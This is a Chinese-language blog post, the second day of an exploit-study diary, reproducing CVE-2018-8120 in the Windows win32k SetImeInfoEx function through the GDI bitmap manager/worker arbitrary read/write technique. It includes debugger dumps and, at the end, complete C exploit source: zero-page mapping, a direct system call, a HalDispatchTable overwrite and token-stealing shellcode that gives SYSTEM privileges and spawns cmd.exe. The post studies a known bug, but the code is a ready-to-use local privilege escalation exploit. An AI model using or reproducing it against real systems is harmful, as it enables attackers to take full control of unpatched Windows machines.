CVE-2018-8120 漏洞分析复现-Day2-完成

0x00:前言

昨天在最后复现的时候还差一点点,已经知道了漏洞点但是还没有完成利用。使用之前在0 day安全上学到的任意地址写漏洞技术似乎不是那么好直接的使用。其实是需要用到滥用GDI bitmap这个技术,今天来学习!参考文章

0x01:GDI bitmap

本技术重要的部分在于,当创建一个bitmap时,我们可以泄露出其在内核中的地址。这一泄露在Windows10的v1607版本之后被打上了补丁。

当创建一个bitmap时,一个结构被附加到了父进程PEB的GdiSharedHandleTable中。给定进程PEB的基地址,GdiSharedHandleTable就在如下的偏移处(分别于32/64位)。

[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}

PEB中的该条目是一个指向GDICELL结构体数组的指针,它定义了多种不同的image类型。该结构体的定义如下:

/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}

通过使用GDI句柄,可以这样计算得到其在内核的地址。

addr = PEB.GdiSharedHandleTable +(handle&0xffff)* sizeof(GDICELL64)

GDI_CELL中,有一项pKernelAddress结构,指向BASEOBJECT结构

typedef struct {
  ULONG64 hHmgr;
  ULONG32 ulShareCount;
  WORD cExclusiveLock;
  WORD BaseFlags;
  ULONG64提示;
} BASEOBJECT64; // sizeof = 0x18

typedef struct {
  BASEOBJECT64 BaseObject; // 0x00
  SURFOBJ64 SurfObj; // 0x18
  [...]
} SURFACE64;

我们并不关心它是什么,重点是对于位图来说,下面的SURFACE结构为:

typedef struct {
  ULONG64 dhsurf; // 0x00
  ULONG64 hsurf;// 0x08
  ULONG64 dhpdev; // 0x10
  ULONG64 hdev; // 0x18
  SIZEL sizlBitmap; // 0x20
  ULONG64 cjBits; // 0x28
  ULONG64 pvBits; // 0x30
  ULONG64 pvScan0; // 0x38
  ULONG32 lDelta; // 0x40
  ULONG32 iUniq; // 0x44
  ULONG32 iBitmapFormat; // 0x48
  USHORT iType;// 0x4C
  USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50

我们关心的只是pvScan0。这一成员是一个指针,指向bitmap的首个扫描行。从泄露出来的内核地址我们可以计算出该成员的偏移。有这样两个GDI32 API调用,GetBitmapBitsSetBitmapBits ,它们直接操纵该成员。GetBitmaps允许我们在pvScan0地址上读任意字节,SetBitmapBits允许我们在pvScan0地址上写任意字节。

(64位)使用步骤为:

  • 创建两个bitmap对象
  • 使用句柄查找GDICELL64,计算pvScan0地址(两个位图)
  • 使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0**值
  • 在管理器上使用SetBitmapBits选择地址
  • 在ring3上使用GetBitmapBits / SetBitmapBits读取/写入先前设置的地址

在这里插入图片描述

//创建2个位图
hManager = CreateBitmap(...;
hWorker = CreateBitmap(...;
//获取hManager的SURFOBJ64.pvScan0内核地址
ManagerCell = *(((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hManager)* 0x18)));
pManagerpvScan0 = ManagerCell.pKernelAddress + 0x50;
//获取hWorker的SURFOBJ64.pvScan0内核地址
WorkerCell = *(((GDICELL64 *)(PEB.GdiSharedHandleTable + LOWORD(hWorker)* 0x18)));
pWorkerpvScan0 = WorkerCell.pKernelAddress + 0x50;
//在此处触发您的漏洞
//使用它在pManagerpvScan0处写入pWorkerpvScan0
[...]
//现在我们可以在hManager上进行操作以设置要从中读取/写入的地址
//将其视为设置地址寄存器
ULONG64 addr = 0xdeadbeef;
SetBitmapBits(hManager,sizeof(addr),&addr);
//这样,我们就可以像这样在hWorker上进行实际的任意读写
SetBitmapBits(hWorker,len,writebuffer);
GetBitmapBits(hWorker,len,readbuffer);

梳理一下,如果我们将Manager的pvScan0写为Worker的pvScan0所在的地址,那么操控Manager即可随意改变Worker的pvScan0,那么再操控Worker的pvScan0即可进行任意地址写了。意思就为 Manager操控想写的地址,Worker操控写入该地址的内容。

0x02:回到CVE-2018-8120

根据上述思路和所填的进度,修改昨天的代码继续调试。将零地址偏移处的两个值替换为两个pvScan0

 getZeroMemory();
    *(DWORD*)(0x2C) = (DWORD)(mpv);
    *(DWORD*)(0x14) = (DWORD)(wpv);

首先看到两个pvScan0所在的地址

在这里插入图片描述

执行到昨天验证失败的地方,今天可以通过验证了。因为[pvScan0]+0x48h所在的地址恰好为0!

在这里插入图片描述

继续向下执行,可以看到即将会将worker的pvScan0的地址存放至manager的pvScan0地址处。

eax=fe6e8760 ebx=9219ffd8 ecx=00000057 edx=fe917d58 esi=950e1ab0 edi=fe6e8760
eip=921a00a2 esp=950e1a88 ebp=950e1a90 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
win32k!SetImeInfoEx+0x3d:
921a00a2 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
kd> dd 950e1ab0
950e1ab0  fe917d58 cccccccc cccccccc 00000048
950e1ac0  cccccccc cccccccc fe917d58 cccccccc
950e1ad0  cccccccc fe6e8760 cccccccc cccccccc
950e1ae0  060504e8 cccccccc cccccccc 1a050766
950e1af0  cccccccc cccccccc 00000090 00000000
950e1b00  00000000 00000000 00000000 00000000
950e1b10  00000000 00000000 00000000 00000000
950e1b20  00000000 00000000 00000000 00000000

执行完毕,可以看到修改完成!

kd> dd 0xfe6e8760
fe6e8760  fe917d58 cccccccc cccccccc 00000048
fe6e8770  cccccccc cccccccc fe917d58 cccccccc

在修改的时候注意,不光要修改这一个数据,因为我们拷贝的是0X15C个数据。所以要顺带的将Manager的pvScan0后的其他数据结构保持不变,因此在代码中加上这些数据。

char buf[0x200];
    RtlSecureZeroMemory(&buf, 0x200);
    PVOID *p = (PVOID*)&buf;
    p[0] = (PVOID)wpv;
    DWORD* pp = (DWORD*)&p[1];
    pp[0] = 0x180;
    pp[1] = 0x1d95;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;

在这里插入图片描述

接下来就可以利用这两个bitmap完成任意地址写任意数据了。只要将昨天想要覆盖的内核函数地址替换成我们的ShellCode,然后再调用即可。

终于完成了!
在这里插入图片描述

附上所有代码

#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
    );

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


//申请0页内存
void getZeroMemory(){
 PVOID    Zero_addr = (PVOID)1;
SIZE_T    RegionSize = 0x1000;

*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
    GetModuleHandleW(L"ntdll"),
    "NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
    printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
    system("pause");
}
if (!NT_SUCCESS(NtAllocateVirtualMemory(
    INVALID_HANDLE_VALUE,
    &Zero_addr,
    0,
    &RegionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE)) || Zero_addr != NULL)
{
    printf("[+]Failed to alloc zero page!\n");
    system("pause");
}
printf("[+]Success to alloc zero page...\n");
}
__declspec(naked) VOID ShellCode()
{
    _asm
    {
        pushad
        mov eax, fs: [124h]		// 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50]   // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4				// edx = system PID(4)

        // 循环是为了获取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]	// 找到进程活动链表
        sub eax, 0xb8    		// 链表遍历
        cmp[eax + 0xb4], edx    // 根据PID判断是否为SYSTEM
        jnz find_sys_pid

        // 替换Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        xor eax,eax
        ret

    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

//获取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
   CHAR lpfileName[1024];
    //Retrieves the load address for each device driver in the system
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

    for (int i = 0; i < 1024; i++)
    {
        //Retrieves the base name of the specified device driver
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

DWORD32 GetHalOffset_4()
{
    // ntkrnlpa.exe in kernel space base address
    PVOID pNtkrnlpaBase = NtkrnlpaBase();

    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

    // ntkrnlpa.exe in user space base address
    HMODULE hUserSpaceBase = LoadLibrary(L"ntkrnlpa.exe");

    // HalDispatchTable in user space address
    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);

    return (DWORD32)hal_4;
}


//NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {

        mov esi, tmp;
        mov eax, gSyscall; //系统调用符号
        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用
        call dword ptr[edx];
        ret 4;
    }
}
DWORD getpeb()
{
    //在NT内核中,FS段为TEB,TEB偏移0x30处为PEB
    DWORD p = (DWORD)__readfsdword(0x18);
    p = *(DWORD*)((char*)p + 0x30);
    return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
    return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
typedef struct
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
    if (!gtable)
        gtable = getgdi();
    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
    GDICELL* c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x30;

}

int main()
{
    //1. 创建bitmap对象
    unsigned int bbuf[0x60] = { 0x90 };
    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
    //2. 使用句柄查找GDICELL,计算pvScan0地址
    PVOID mpv = getpvscan0(gManger);
    PVOID wpv = getpvscan0(gWorker);
    printf("[+] Get manager at 0x%p,worker at 0x%p\n", mpv, wpv);
    //使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值

    // 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );

    // 和窗口当前进程关联起来
    SetProcessWindowStation(hSta);

    char buf[0x200];
    RtlSecureZeroMemory(&buf, 0x200);
    PVOID *p = (PVOID*)&buf;
    p[0] = (PVOID)wpv;
    DWORD* pp = (DWORD*)&p[1];
    pp[0] = 0x180;
    pp[1] = 0x1d95;
    pp[2] = 6;
    pp[3] = 0x10000;
    pp[5] = 0x4800200;
    //获取0页内存
    getZeroMemory();
    *(DWORD*)(0x2C) = (DWORD)(mpv);
    *(DWORD*)(0x14) = (DWORD)(wpv);
    // WindowStation->spklList字段为0,函数继续执行将触发漏洞
    NtUserSetImeInfoEx((PVOID)&buf);
    PVOID pOrg = 0;
    DWORD haladdr = GetHalOffset_4();
    PVOID oaddr = (PVOID)haladdr;
    PVOID sc = &ShellCode;

    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager设置worker的可修改地址为hal函数
    printf("[+]要覆盖的目标地址 0x%x\n", oaddr);
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//获取可修改的地址
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//设置地址为shellcode
    printf("[+]覆盖完毕,准备执行Shellcode");

    //触发shellcode
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
    DWORD interVal = 0;
    NtQueryIntervalProfile(0x1337, &interVal);
    //收尾
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    CreateCmd();
    return 0;
}

0x03:明日计划

明天可能会改一天论文,也可能会继续学习内核漏洞。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章